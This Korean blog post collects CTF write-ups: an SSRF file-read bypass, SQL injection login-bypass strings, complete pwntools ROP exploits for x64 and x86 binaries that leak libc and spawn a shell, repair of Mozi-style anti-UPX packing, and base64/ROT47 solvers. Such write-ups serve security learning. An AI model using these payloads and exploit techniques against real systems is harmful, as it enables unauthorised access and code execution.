WEB HACKING [100] - Request forgery
SSRF 문제.
File Scheme을 이용해 서버 내부의 flag 파일을 읽어와야됐는데
URL 필터링 적용되어있음. => file:// , file:/// , etc 등등 필터링되어있는 것 같았음
필터링 걸렸을 시 '잘못된 URL' alert 창이 뜬다
file:/flag 해서 검색하면 'http://prob2.cstec.kr:5583/image.php?url=file%3A%2Fflag' 이렇게 GET 요청 가면서
다운로드 페이지로 감. untitled.png 다운로드 되는데 당연히 이미지파일은 아니고
hxd로 열어보니 이렇다~
WEB HACKING [100] - Login me
Easy blind SQL Injection
쿼리 예상 SELECT * FROM user WHERE id='$id' and pw='$pw' 이런 느낌
id='admin'인 계정을 가져오면 된다
' or 1=1 # 입력하니까 '관리자만 접근할 수 있다' alert 창이 뜨네 => user 정보가 가져오지긴 하는데 admin은 아닌가보다. admin이 첫 행이 아닌가보다
1) id = admin' # , pw = 니맘대로
2) id = ' or 1=1 limit 1,1 , pw = 니맘대로 (바로 두번째 행에 있었네)
PWNABLE [100] - X64_ROP
IDA로 분석
main 함수에서 호출하는 서브루틴: rop, libc_leak, menu 등등이 있다
for_rop 함수 있었는데, IDA에서 디컴파일 안되길래 pwndbg로 살펴보니 ROP를 위한 가젯들이 들어있었다
보호기법: Partial RELRO, No Canary, No PIE
취약점: rop() 함수에서 char buf[16] (rbp-0x10 위치)를 정의하고 read(0, buf, 0x200) 받음으로써 bof 취약점 발생
1) GOT table에 들어있는 값(실제 라이브러리 함수의 주소)을 leak해서 libc_base를 구하고
2) main 함수로 돌아와서 다시 1을 택하고
3) system("/bin/sh")를 실행시키면 된다
삽 좀 품
이유1) 1)에서 리턴주소를 rop()로 하면 안되고 main()으로 해야 되더라. 왠지는 아직 모름
이유2) 3)에서 잘 작성했는데도 segfault 뜨길래 뭔가 했더니 no-op gadget 추가해서 stack alignment 맞춰주니 되더라
NOP Gadget 사용 (x64에서만 ㅋㅋㅋ)
system 함수 내에 movaps 명령어 있어서 데이터들이 16byte로 묶을 수 있는가를 확인함
movaps = mov aligned packed values이며 한번에 데이터를 다량으로 옮길때 사용되며 그 크기는 16 byte임
movaps로 16 byte씩 묶인다고 가정했을때 seg. fault가 뜬다는 것은 8 byte의 남는 (또는 모자란) 데이터가 발생한다는 의미임
nop gadget을 추가하여 8 byte를 뒤로 밀어버리면 16 byte씩 묶임
64bit에서 인자 순서
RDI - RSI - RDX - RCX - R8 - R9 - $RSP ... (까먹었을까봐)
라이브러리에서 특정 문자열 / 특정 함수 offset 구하는 법
1) pwndbg에서 vmmap 통해 라이브러리 매핑 주소 구함. p system / search "/bin/sh"로 주소 구함. offset 구함
2) 함수는 nm -D ./libc.so.6 | grep system , 문자열은 strings -a -t x ./libc.so.6 | grep /bin/sh 이렇게~
pwntools plt 함수를 너무 믿지 마라
항상 print(hex(puts_plt)) 이렇게 crosscheck를 하는 편인데 e.plt['puts'] 하면 실제 plt 주소+4가 나오더라. 이유는 나도 몰?루
exploit 방향
puts(printf_got에 담긴 주소값) - main함수 리턴
leak된 6바이트 통해 system_addr , binsh_addr 구하고
system("/bin/sh")
from pwn import *
# p = process("./x64_rop")
p = remote("prob2.cstec.kr", 5339)
e = ELF("./x64_rop")
# gadgets
pppr = 0x4011fe # pop rsi;pop rdi;pop rdx; ret
ppr = 0x401202 # pop rsi; pop rdi; ret
pr = 0x401205 # pop rdi; ret
r = 0x401201 # ret
main_addr = e.symbols['main'] # 0x4012fa
printf_got = e.got['printf'] # 0x404020
puts_plt = 0x4010a0 # e.plt['puts'] 하면 0x4010a4 나옴
# puts(printf_got) and return to rop
p.sendlineafter("Enter choice : ", "1")
p.send(b'A'*0x10 + b'B'*0x8 + p64(pr) + p64(printf_got) + p64(puts_plt) + p64(main_addr))
libc_base = u64(p.recvline()[:-1]+b'\x00'*2) - 0x60770
sys_addr = libc_base + 0x50d60
binsh = libc_base + 0x1d8698
p.sendlineafter("Enter choice : ", "1")
# system("/bin/sh")
# no-op gadget 추가해줘야 잘 동작하네
p.send(b'A'*0x10 + b'B'*0x8 + p64(pr) + p64(binsh) + p64(r) + p64(sys_addr))
p.interactive()
PWNABLE [100] - X86_ROP
또옥같아. 근데 이제 인자 전달 방식이 다르니까 payload만 좀 달라지지
from pwn import *
p = remote("prob2.cstec.kr", 5340)
e = ELF("./x86_rop")
# address
puts_plt = e.plt['puts'] # 0x8049080
main_got = e.got['__libc_start_main'] # 0x804c00c
rop_addr = e.symbols['rop'] # 0x80492aa
# ROP gadgets
pr = 0x80491ea
ppr = 0x80491e7
pppr = 0x80491e3
p.sendlineafter("Enter choice : ", "1")
# DUMMY 0x18 + DUMMY SFP + puts@plt + popret + __libc_start_main@got + rop()
p.send(b'A'*0x18 + b'B'*0x4 + p32(puts_plt) + p32(pr) + p32(main_got) + p32(rop_addr))
libc_base = u32(p.recvline()[:4]) - 0x21560
# gdb.attach(p)
# system function & "/bin/sh" in libc.so.6 library
sys_addr = libc_base + 0x48150
binsh = libc_base + 0x1bd0f5
# system("/bin/sh")
p.send(b'A'*0x18 + b'B'*0x4 + p32(sys_addr) + p32(pr) + p32(binsh))
p.interactive()
REVERSING [100] - igeMOZI
이름에 힌트.
우리가 흔하게 사용하는 UPX 패킹은 툴만 있으면 손쉽게 풀 수 있다.
MOZI 라는 IOT 봇넷은 UPX 구조를 변경해 악성코드를 숨긴다. 즉 UPX 패킹된 파일을 한단계 더 변조시킨다
https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html 여기 참고해서 알아낸
ANTI-UPX Unpacking Techniques
1. UPX 헤더 변조
struct l_info // 12-byte trailer in header for loader (offset 116)
{
uint32_t l_checksum;
uint32_t l_magic; // magic number = "UPX!"
uint16_t l_lsize;
uint8_t l_version;
uint8_t l_format;
};
struct p_info // 12-byte packed program header follows stub loader
{
uint32_t p_progid;
uint32_t p_filesize;
uint32_t p_blocksize;
};
UPX-packed binary (ELF 파일)는 0xE8부터 l_info , p_info 구조체를 차례로 가진다
"l_magic" (0xEC, UPX! 4바이트)가 변조되거나
"p_filesize", "p_blocksize" (0xF8l 0xFC)가 zero-padding 혹은 터무니없는 값으로 채워지거나
cf) footer에서 파일 끝 - 0xC 위치에 p_filesize 저장되어있다, footer에 UPX magic bytes 2개 위치한다, 두번째 magic bytes 뒤에 l_version&l_format 있다
https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/
2. "UPX!" magic number 변조
단순히 header, footer의 "UPX!" magic number를 다른 bytes로 변조
Mozi botnet UPX unpacker
https://github.com/cartoon-raccoon/mozibgone
p_info , l_info 헤더가 손상된 언패킹 파일에 대해서 UPX 언패킹을 지원한다고 하네..
문제 해결순서
1. UPX! magic number 손상 해결
- file footer에 UPX! magic number 2개가 ABC!로 변조되어있어서 고쳐줌
- p_filesize = 0x000DBCB0 인데 p_blocksize를 모르겠네...
2. p_info 헤더의 손상된 부분 해결
- p_filesize = p_blocksize = 0xFFFFFFFF 로 채워져있다
- p_blocksize 를 알려고 갖은 노력을 했지만 (p_filesize와 동일한 값으로 채우기도 하고, footer에서 4바이트 찾아서 넣기도하고) 번번히 실패
=> mozibgone.py 파일을 사용했더니 언패킹 제대로 됐다!!
=> magic number 다 수정하고, 헤더만 손상된 상황이면 유용하게 쓰일듯~
3. 언패킹된 파일 분석
- 실행시키면 flag: 89 출력. 뭐 패킹되어있을때도 똑같았겠지. ghex로 열어서 문자열 중 의미있는게 없을까 했는데 없더라 ㅋㅋ
- IDA로 디컴파일 해보니
저기 v7에 복사되는 긴 문자열이 플래그 같지않나?!!
뭔가 base64 느낌 나서 뒤에 padding 붙이고 돌려보니 (padding 안붙이면 bit 수 안맞음) 와우~!
CRYPTO [100] - BASE64
커스텀 키 테이블을 만들어서 base64 디코딩 및 인코딩을 하면 됩니다
standard base64는 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' key table 사용
주어진 data/encoded_data 이용해 key table 구하면 됨
base64 까먹었으면 여기서 확인 ㄱㄱ
org_text = "How many special people change? How many lives are livin' strange? Where were you while we were getting high? Slowly walkin' down the hall Faster than a cannonball Where were you while we were getting high? Someday you will find me Caught beneath the landslide In a champagne supernova in the sky Someday you will find me Caught beneath the landslide In a champagne supernova A champagne supernova in the sky Wake up the dawn and ask her why A dreamer dreams she never dies Wipe that tear away now from your eye Slowly walkin' down the ha11 Faster than a cannonball Where were you while we were getting high?"
binary_text = ""
new_text = "gsON3sYlmA+o8Nq/7H/lmaqFuhOFms6o7HllmQi/vTq3mN8omhwCkgqEjnu/8Tql8Q6oms/HjhUA3xrB8QwCuH6P3wiZune/3xi/8Q6okhOY3xiZjhV/3xi/3xi/8Q6ouHyBis/CuTqZjhiZvTqbmsONmx+oiHwEjH/CeTq+mNiC3xtZugqZ7hVE32ul8Nt/80qBjswC3s2o7HwCmQOC7QwEmaqnjsyTugqNune/3x/RigqNjs/EugqNugqNune/3si/ixtWmQ8ojs/AjzKo6HODuhtlkgqJmN6oiH/EmaqQjhJ+3sY/32rlihiZiaq0uhJ/7ntZ3xtZugqE7hJ+8HVWus6oghUo7gqpjswD8swAmQ6o8NyFuneCmNul3s/C3xtZugqGjN+o6HODuhtlkgqJmN6oiH/EmaqQjhJ+3sY/32rlihiZiaq0uhJ/7ntZ3xtZugqE7hJ+8HVWus6oghUo7gqpjswD8swAmQ6o8NyFuneCmNul322o7HllmnqluHJ/3xrY8syTmQOH7gqWm0qBjs6o8HDJ3wiljH6oin1oisl/3stliHUo7hJ+3swGjTqZun3oiHlJ322ouxe/7hY/80q+8Qylmn4o8Hl/3sJ/iQyT3stWun4oyH/FugqBjswB3xt/7n3o7nilkgqCmN8ouAeRmgqJmNyT3syJugqbmsONmx+oiHwEjH/CeTq+mNiC3xtZugqZ7b2V32ul8Nt/80qBjswC3s2o7HwCmQOC7QwEmaqnjsyTugqNune/3x/RigqNjs/EugqNugqNune/3si/ixtWmQ8ojs/AjzK="
base64_table = ['?' for i in range(64)] # custom table
for ch in org_text:
binary_text += format(ord(ch), '08b')
while len(binary_text)%6 != 0:
# '00' 추가할때마다 padding 1개씩 추가됨
binary_text += '00'
for i in range(0, len(binary_text), 6):
tmp = binary_text[i: i+6]
index = int(tmp,2)
base64_table[index] = new_text[i//6]
이렇게 custom key 구성한다
orginal text를 전부 bit화시킨 후 6bit씩 끊어서 key table 각 index에 어떤 문자가 대응되는지.
key table 10개 정도 빈다
base64_table[31] = '9'
base64_table[16] = '5'
encoded_flag = "7nqRmsVR7AD/mhOpmsyNnHyp7YO+mHORmHOAnHDpihFl95"
binary_flag = ""
decoded_flag = ""
for ch in encoded_flag:
index = base64_table.index(ch)
binary_flag += format(index, '06b')
binary_flag = binary_flag[:-4] # two paddings
for i in range(0, len(binary_flag), 8):
tmp = binary_flag[i:i+8]
decoded_flag += chr(int(tmp,2))
print(decoded_flag)
padding 2개를 뺀 플래그를 디코딩해보자
플래그에서 '9' 와 '5'는 아직 key table에서의 위치가 정해지지 않았다
padding이 2개이므로 '5'의 index는 xx 00 00 일 것이다. key_table에서 아직 정의되지 않은 index 중 16의 배수는 16뿐
=> base64_table[16] = '5'
플래그 마지막은 '}'로 끝날 것. '}'를 비트화하면 01 11 11 01 . padding 붙이면 01 11 11 01 00 00. 즉 index는 0b011111
=> base64_tabe[31] = '9'
CRYPTO [100] - ROT47
dec() 함수
1) 33 <= j <= 126 이면 (printable character면)
1-1) j<80이면 s[i] = String.fromCharCode(33+(j+14)) = String.fromCharCode(j+47) // ascii 80 ~ 126 해당
1-2) j>=80이면 s[i] = String.fromCharCode(33+(j+14-94)) = String.fromCharCode(j-47) // ascii 33 ~ 79 해당
2) j<33 또는 j>126 이면 그대로 s[i]로
encoded_flag = "2A@==@3LC~Ecf0u@CE*0DtGt?0C@Ecf0!2Dcf502&9N"
decoded_flag = ""
for ch in encoded_flag:
tmp = ord(ch)
if tmp<33 or tmp>126:
decoded_flag += ch
else:
if tmp>=80:
decoded_flag += chr(tmp-47)
else:
decoded_flag += chr(tmp+47)
print(decoded_flag)
암호화라고 할 것도 없네.. 그냥 shifting?
궁금해서 ROT47 찾아보니..
ROT13(Rotate by 13)은 단순한 카이사르 암호의 일종으로 영어 알파벳을 13글자씩 밀어서 만든다.
컴퓨터로 사용되는 암호 알고리즘 가운데 가장 단순한 종류이다. 알파벳 글자를 13자리 밀어내는 것으로 만든다
변형:
-
ROT47 : 알파벳 만이 아니라 모든 아스키 코드를 대상으로 한다.
WEB HACKING [100] - Login me
'security > CTF' 카테고리의 다른 글
[HSpace CTF] HSpace Notepad (0) | 2023.09.02 |
---|---|
2022 CCE 예선 - 공용/일반 (0) | 2023.06.10 |